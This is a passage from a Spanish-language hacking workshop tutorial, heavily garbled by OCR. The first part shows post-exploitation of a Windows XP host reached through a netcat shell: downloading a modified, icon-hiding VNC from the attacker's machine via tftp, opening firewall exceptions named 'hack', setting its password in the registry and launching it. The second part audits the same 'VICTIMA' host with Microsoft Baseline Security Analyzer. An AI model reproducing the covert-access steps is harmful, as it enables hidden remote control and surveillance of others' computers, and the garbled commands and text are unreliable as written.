Hasta aqui ya hemos accedido al equipo pero neesa poder visualizar lo que
hace o movernos en modo grafico, el siguiente pasbdescargarnos de nuestro equipo
los archivos necesarios para conectarnos visuénagequipo.

Lo primero es dejar a la escucha nuestro serviedftpl

%z TFTPD32 by Ph. Jounin

B ase Directory |I::hF'F| JEBACOMCEPT O proyect Browse

Server interface |192.155,1,59 ﬂ Shaw Dir

Current &ction |Listening on port 59

About | Settingz | Help

Servidor tftp a la escucha

Y en settings le indicamos el directorio de donds descargaremos los ficheros
necesarios
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% Titpd32: Settings x|

— Security—————— — Server configuration

" None Timeout [seconds] |3
" Standard M an Retransmit IE
" High Tftp port |59
— Basze Directory
IE:\PHUEBAEDNEEPTD\prDyectoE\download Browse |

—Adwvanced Options
v Option negatiation [ Hide wWindow at startup
¥ Show Progress bar [ Create "dirt<t" files
[ Translate Unix file names [~ Beep for long tranfert
I™ Activate Tfpd32 on this interface |152165.1 59 -]
[ Use anticipation window of IU_ Bytes

(] I Drefault | Help | Cancel |

Pantalla configuracién tftp32

& download HEE
I Archivo  Edicidn Wer  Fawotitos  Herramientas  Ayuda | }f |
| ul Atras - L= B L‘ﬁ‘ | /Fl Biisqueda |'r_ Carpetas | = x n | v ‘
iDireccién li{j CHPRUEBACONCEPTO \prayvectoS|downlaad ;] = B |

| regnow.bat
Archivo por lotes M3-D0S
1 KB

WNYNC exe § B ycHaoks.dI

WINC server For Win32 -ﬁ' 3L

Clivetti & Oracle Research Lab YMC hooks DLL for Win32
il

Vnc modificado

Para conectarnos visualmente al equipo remotazatdmos el vnc pero con una
version modificada para que no muestre en el mentackas el icono de conexion

habitual de vnc.

En el equipo remoto y mediante la consola de coomsmncearemos el directorio
a descargar los ficheros

Cd\
Md vnc
Cd vnc

Nos descargaremos los ficheros con:
tftp —1 192.168.1.59 get winvnc.exe
tftp —i 192.168.1.59 get vnhchooks.exe

tftp —1 192.168.1.59 get omnithreat_rt.dll
tftp —i 192.168.1.59 get regnow.bat
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en CrWIHDOWS'systemn32iemnd.exe - nc -vvlp G666

C:wnc>tftp —i 192.168.1.57? get winvnc.exe
tftp —i 192.168.1.59 get winvnc.exe
Transferencia terminada: 188416 hytes en 1 segundo. 188416 bytes/s

C:swnc>tftp —i 192.168.1.5? get vnchooks.dll
tftp —i 192.168.1.59 get vnchooks.dll
Transferencia terminada: 11264 bytes en 1 segundo,. 11264 hytesss

Cwnc>tftp —i 192.168.1.5? get omnithread »rt.dll
tftp —i 192.168.1.59 get omnithread_»rt.dll
Transferencia terminada: 46888 bytes en 1 segundo, 46888 hytes./s

C=swnc>tftp —i 192.168.1.52 get regnow.bat
tftp —i 192.168.1.59 get regnow.hat
Transferencia terminada: 9808 bytes en 1 segundo, 788 hytesss

C:unc >

Subida de Vnc al equipo remoto

Si el cliente tiene habilitado el firewall afiadiresruna excepcion a la regla para
permitir la conexion remota.

netsh firewall add portopening tcp 5800 hack
netsh firewall add allowedprogram c:\vnc\winvnc.exéhack2 ENABLE

CWINDOWS system32icmd.exe - nc -vvlp 6666

C:vncrnetsh firewall add allowedprogram c:swnchwinuvnc.exe hack2 EMABLE
netsh firewall add allowedprogram c:>uncwwinvnc.exe hack2 ENABLE
Aceptar

C:~vnc>netsh firewall add portopening tecp 5888 hack
netsh firewall add portopening tcp 5888 hack

Abrimos el puerto vnc en el firewall de Windows

El equipo remoto quedaria de la siguiente forma:

G & @ Centro de seguridad &8
l; Gereral Excepciones | Dpciones avanzadss | sl ot s b 7‘

| DIt Firewal des Windows esté bloqueanda las conesiones de red entiantes a sxcepsién =l

de los programas y servicins especificados a continuacion. Si agiega excepciones,

E algunas pragramas funcianaidn mejor, per s puede aumentar ¢l fiesgo de seguridad.
§

© Activado =

Fiogiamas y sefvicios Il de irindows Ie ayuda & proteger su equips contra
E qué forma me ayuda un servidor de sequridad a

Nombre
[ Asistenoia remota

Comparti archivos & impresoras
CIEntomo UPAP

M Esciitorio remeto naticas © Activado ¥
hack.
hack2

© ho encontrado | 2

Modificar un programa B2 este equipo, Los antivirus le ayudan a proteger su

seguriclad. Haga clic sn Recomendaciones para ver

Puede peimitir la comunicacion car este programa desde cualguier equipe, iDe qué Forma me ayuda un antivirus a proteger mi

inoliso aqualis en Irtemet o en su red.

Nombre: [ hack? amas de artivirus,

5 Recomendaciones...
Futs: |E'\vr\c\wlr\vr\c e ________]

I s

4 Cambisr ambito. Canoslar
% Actualizaciones automaticas
Aceptar Cancelar L
d,

n de seguridad para:

o Ini (3 Panel de control W) Centra de sequridad d= .. E« Ll 2330

Puerto vnc abierto en el firewall de Windows
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Ahora debemos ejecutar el fichero de configuracervnc que hemos subido
para que afada al registro una serie de configurasicomo por ejemplo la password
de connexion

HDOWS' \system32iemd.exe - nc -vvlp 6666

C:suncXregnow. bat

regnow .. hat

of f REG ADD HKEY_CURRENT_USER“Sof tware-0ORL
C:“vnc>REG ADD HKEY_CURRENT_USER-“Sof tware~0ORL-WinUNGC3
La operaci¥%n finaliz#% correctamente

C:~wnc>REG ADD HKEY_CURRENT_USER-Zof tware“~ORL-UWinUNC3 AutoPortSelect ~t REG_D
WORD »d 1 /f

La operaci¥n finaliz# correctamente

C:wnc>REG ADD HKEY_CURRENT_USER\Sof tware“ORL“WinUNC3 InputsEnabled ~t REG_DW
ORD ~d 1 ~f

La operaci¥n finaliz¥ correctamente

C:“wuwnc>REG ADD HKEY_CURRENT_USER-“Sof tware~0RL-WinUNGC3 OnlyPollConsole ~t REG
DUWORD ~d 1 ~f

La operaci¥n finaliz¥ correctamente

C:sunc>REG ADD HKEY_CURRENT _USER“Sof tware~0RL“WinUNG3 OnlyPollOnEvent ~t REG
DWORD ~d 8 ~f

La operaci¥%n finaliz#% correctamente

C:~wnc>REG ADD HKEY_CURRENT_USER-Sof tware~0RL-UWinUNC3 Pazsword ~t REG_BINARY
/d fdc46c68618ab996 ~F

La operaci¥n finaliz# correctamente

C:“vnc>REG ADD HKEY_CURRENT_USER“Sof tware~0ORL-WinUNGC3 PollForeground At REG_D)
WORD ~d 1 ~f

La operaci¥n finaliz¥ correctamente

C:sunc>REG ADD HKEY_CURRENT_USER\Sof tware~ORL“\WinUNC3 PollFullScreen ~t REG_D
WORD ~d 8 /f

La operaci¥n finaliz¥% correctamente

C:~uwnc>REG ADD HKEY_CURRENT_USER-Sof tware~0RL-WinUNGC3 FollUnderCursor ~t REG
DWORD ~d @ ~f

La operaci¥%n finaliz#% correctamente

C:~wnc>REG ADD HKEY_CURRENT_USER-Sof tware~0RL-UWinUNC3 SocketConnect -t REG_DU
ORD ~d 1 ~/f

La operaci¥n finaliz# correctamente

Ejecucion de regnow.bat para el registro de claves

Ejecutamogsegnow.bat

Seguidamente iniciaremos la aplicacion servidorBfVNC.EXE constart winvnc.exe
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CIWIHDOWS 'systemnd2'cmd.exe - nc -vvip G666

"CLEAR" no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutahle.

C:Nunc >
C:\unc)gtart winunc.exe

Inicio del servicio Winvnc en el equipo remoto

Ahora ya estamos es disposicion de ejecutar eltelienc para conectarnos.

Connection details E

“_ WML server | L= SR Ok

Ilze host:dizplay
2.0, shoopy: 2

Cancel

Pl

Options...

Cliente de conexion a VNC

VHC Authentication El
w Session passward: |

Cancel

i

Solicitud de password en VNC
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Auditando con MBSA

Microsoft Baseline Security Analyzer (MBSA) es unlerramienta gratuita
proporcionada por Microsoft que puede descargarse e d
http://www.microsoft.com/download/en/details.aspgpthylang=en&id=19892

Nos ayuda a detector los parches de windows nalaugls, cuentas sin password,
caducidad de contrasefas, login, configuracionegnienet Explorer, sql, IIS, esta
actualmente en su version 2.2 y su uso en modgrs simple.

& Microsoft Baseline Security Analyzer 2.2 [-[=]%]

~|  Microsoft Microsoft
Y. . -
<, ¥ Baseline Security Analyzer

Check computers for commeon security misconfigurations.

The Microsoft Baseline Security Analyzer can check compuiters running Microsoft Windowrs Server 2008 R2, Windows 7, Windows@ Server 2003, Windows Server 2008,
Windows Vista, Windows XP or Windows 2000, Scanning computers for security updates utilizes Windows Server Update Services. You must have administrator privileges for
each computer you want to scan.

8§ scan a computer
Check a computer using its name or [P Address.

'.'. Scan multiple computers
Check multiple computers using a domain name or a range of P addresses.

u View existing security scan reports
View, print and copy the results from the previous scans.

© 2002-2010 Microsoft Corporation. Allrights reserved.

Podemos escanear un simple equipo o0 un rango deéma&q

Which computer do you want to scan?

Enter the name of the computer or its TP address.
Computer name: [GRUPO_TRABAJO\QUASTMOD =  (this computer)
P address: ) I 5

Security teport name: [D% e T

%D% = domain, %C% = computer, %T% = date and time, %IP% = IP address

Options:
[ Check for Windows administrative wuiner abilties
¥ Check for w

V' Check for security updates
I Gonfiure computers for Microsoft Undate and scanning prerequisites
T Advanced Update Services aptions:

€ scan using offiine catalog onl

Learn more about Scanming Options

Start Scan Cancel
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Podemos especificar el nombre de host o la ip ycandbs procesos que deseamos
auditar, en su ultima version podemos comparailtasas actualizaciones de manera
offine simplemente indicando el ultimo catalogoMierosoft que podes descargarlo del
siguiente enlackttp://go.microsoft.com/fwlink/?LinkID=74689

Para que el escaneo tenga un buen resultado, delpgetonfigurar la maquina destino
con los siguientes pasos:

Comprobar las excepciones en el firewall con lgglientes puertos:

Tcp 1001
Tcp 135
Tcp 139
Tcp 445
Udp 137
Udp 138

Descargar en el cliente el Gltimo agente de windopdate.

http://go.microsoft.com/fwlink/?Linkld=90992

Agregar la siguiente clave en el registro
Windows Registry Editor Version 5.00

[HKEY_ LOCAL_MACHINE\SOFTWARE\Classes\AppID\{B366DEB-645B-43A5-

B865-DDD82C345492}]

"Endpoints"=hex(7):6e,00,63,00,61,00,63,00,6e,000669,00,70,00,5f,00,74,00,\
63,00,70,00,2¢,00,30,00,2c,00,31,00,30,00,301000300,00,00,00

Bien debemos tener en cuenta que el escaneo sehdebe desde una cuenta de
administrador del equipo destino con lo que si eues hacer un escaneo a un host con
diferentes credenciales debemos poder introducatacteristica que en modo grafico
no tenemos, por eso usaremos el modo dos de miesdoguencontraremos en
C:\Archivos de programa\Microsoft Baseline SecurityAnalyzer 2\mbsaclie.exe.

Como es posible que no tengamos conexion diredtdeanet usaremos el catalogo
offine, el formato seria el siguiente:

mbsacli.exe /target 192.168.1.80 /u mbsa /p mksaléy c:\wsusscn2.cab /ia /offline
/nd

Le indicamos mbsacli con /target el host a escar@maru el usuario Administrador del
host de destino con /p la password de la cuenta/aaialog la ubicacion del dltimo
catalogo de Microsoft con /ia actualice los compde® del agente con /offine muestra
las actualizaciones del catalogo descargado y Mmddescarga ningun fichero de
Microsoft durante el escaneo.
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HDOWS 'systernd2'cmd.exe - mbsacli.exe Aarget 192.168.1.80 'u mb=a /p mbsa /catalog c'wsusscn...

C:~Archivosz de programa~Microsoft Baseline Security Analyzer 2> mbsacli.exe stargms
et 192.168.1.88 s u mbsa ~p mbsa scatalog c:“wsusscn2.cab ~ia soffline ~nd

Microsoft Baseline Security Analyzer
Version 2.2 (2.2.2178_4>
(C» Copyright 2882-2018 Microsoft Corporation. All rights reserved.

Scanning...

No os desaniméis porqué el escaneo tarda un uatite® 5 minutos (en mi equipo)

Nos generara un reporte en C:\Documents and S&#dministrador\SecurityScans,
donde nos muestra las vulnerabilidades encontexdasequipo destino.

rosoft Baseline Security Analyzer 2.2

¥/ Baseline Security A

Report Details for GRUPO_TRABAJO - VICTIMA (2012-04-09 23:59:09)
j Security assessment:
&’ Severe Risk (One or more critical checks failed.)

Computer name: GRUPO_TRABAIOWICTIMA

1P address: 192.168.1.80

Security report name: C:\Documents and SettingsAdministrador \SecurityScans\GRUPO_TRABATO - VICTIMA {03-04-2012 23-53).mbsa
Scan date: 09/04/2012 23:53

scanned with MBSA version: 2221700

Catalog synchronization date: 2012-03-26T23:02: 167

Security update catalog: Microsoft Update (offine)

Sort Order: [Score (worst first) =

Security Update Scan Results

Score  Issue Result

<) SDK. 1 security updates are missing.
Components What ed  Resul How to correct this
Security
Updates

@ Windows 100 security updates are missing, 7 service packs or update rolups are missing.
Security Wha ed  Result detals  How to correct this
Updates

0 Office Security 1 service packs or update rollups are missing.
Updates Whatwas scanried  Result detals  How to correct this

] SQL Server Mo security updates are missing.
Security Whatwas scanned  Result detals
Updates

Windows Scan Results

Administrative Vulnerabilities

Score Issue Result
@ localAccount  Some user accounts (2 of 7) have blank or simple passwords, or could not be analyzed,
Password Test  yha! canned  Resul ect this

ccount is not disabled o
anned How to cor

W GuestAccount
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Security Analyzer 2.2

Baseline Security Analyzer

@ Restict Computer is properly restricting anonymous ccess, B
Ananymous What was scanne
= Autologon This check vias skipped because the computer is not joined to a domain.
What was scanned
= password This check was skipped because the computer is not joined to a domain.
Expiration What was scanned

Additional System Information

Score  Issue Result

@  Auditing This check was skipped because the computer is not joined to a domain,
What was scanned How to correct this

@  sevices Some patentially unnecessary services are installed,
Whatwas scanned  Result detals  How to comect this

@ shaes 5 share(s) are present on your computer,
Whatwasscanned  Result detals  How to correct this

@  windows Computer is running Microsoft Windows XP.

Version What was scanned

Internet Information Services (IIS} Scan Results

Score Issue Result
= IS Status TIS s not running on this computer

SQL Server Scan Results

Score  Issue Result
- SQL Server and/or MSDE is not installed on this computer,

sQL
ServerMSDE
Status
Desktop Application Scan Results

Administrative Vulnerabilities

Score Issue Result
(] Macra Security 4 Microsoft Office product(s) are installed, Some issues were found.
Whatwasscanned  Resultdetals  How to carect this
] 1E Zones Internet Explorer zones have secure settings for all users.
What was scanned

En result details de cada apartado nos muestramafdon encontrada como por
ejemplo en security updates:

Microsoft Baseline Security Analyzer

Microsoft

¥ Baseline Security Analyzer

100 security updates are missing. 7 service packs or update rollups are missing.

Result Details for Windows

Security Updates

Ttems marked with % are confirmed missing. Items marked with *are confirmed missing and are not approved by your system administrator.
Maximum
Severity
MS08-030 Security Update for Windows XP (KBI51376) Critical
M303-046 Security Update for Windows %P (KBE352954) Critical
MS11-015 Security Update for Windows XP (KE2479243) Critical

Score ID Description

M511-043 Security Update for Windows P (KB2536275 Critical
MS12-004 Security Update for Windows XP (KBE2631813) Critical
MS10-052 Security Update for Windows XP (KB2115168) Critical
MS10-062 Security Update for Windows XP (KB975558) Critical
M510-042 Security Update for Windows XP (KB2279533) Critical
MS10-007 Security Update for Windows XP (KB975713; Critical

MS12-004 Security Update for Windows XP (KBE2593479) Critical
MS10-076 Security Update for Windows XP (KB982132) Critical
MS03-051 Security Update for Windows Media Format Runtime 9, 3.5 & 11 for Windows ¥P 5P 3 (KB954155) Critical
MS511-031 Security Update for Windows XP (KB2510581 Critical
MS03-044 Security Update for Windows XP (KES56744; Critical
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Existe la posibilidad de exportar el informe a xpaka posteriormente aprovechar la
opcion de importacion del fichero xml a metasploit.

Quiero aclarar un inciso, cuando el escaneo sezaedle forma remota con los
parametros /u /p el parametro /xmlout es operativque no los acepta, por lo tanto no
se puede exporter un fichero con extension mbsal @on parametros remotos.

La exportacion la realizamos localmente en la naqdestino de la siguiente manera:
mbsacli.exe /xmlout /catalog c:\wsusscn2.cab /unide >c:\victima.xml

Personalmente la importacion del fichero no meunaibnado correctamente.

db_import c:\victima.xml

Y esto es todo amigos....

Si llega el proximo taller prometo extenderme ca@sterramientas...
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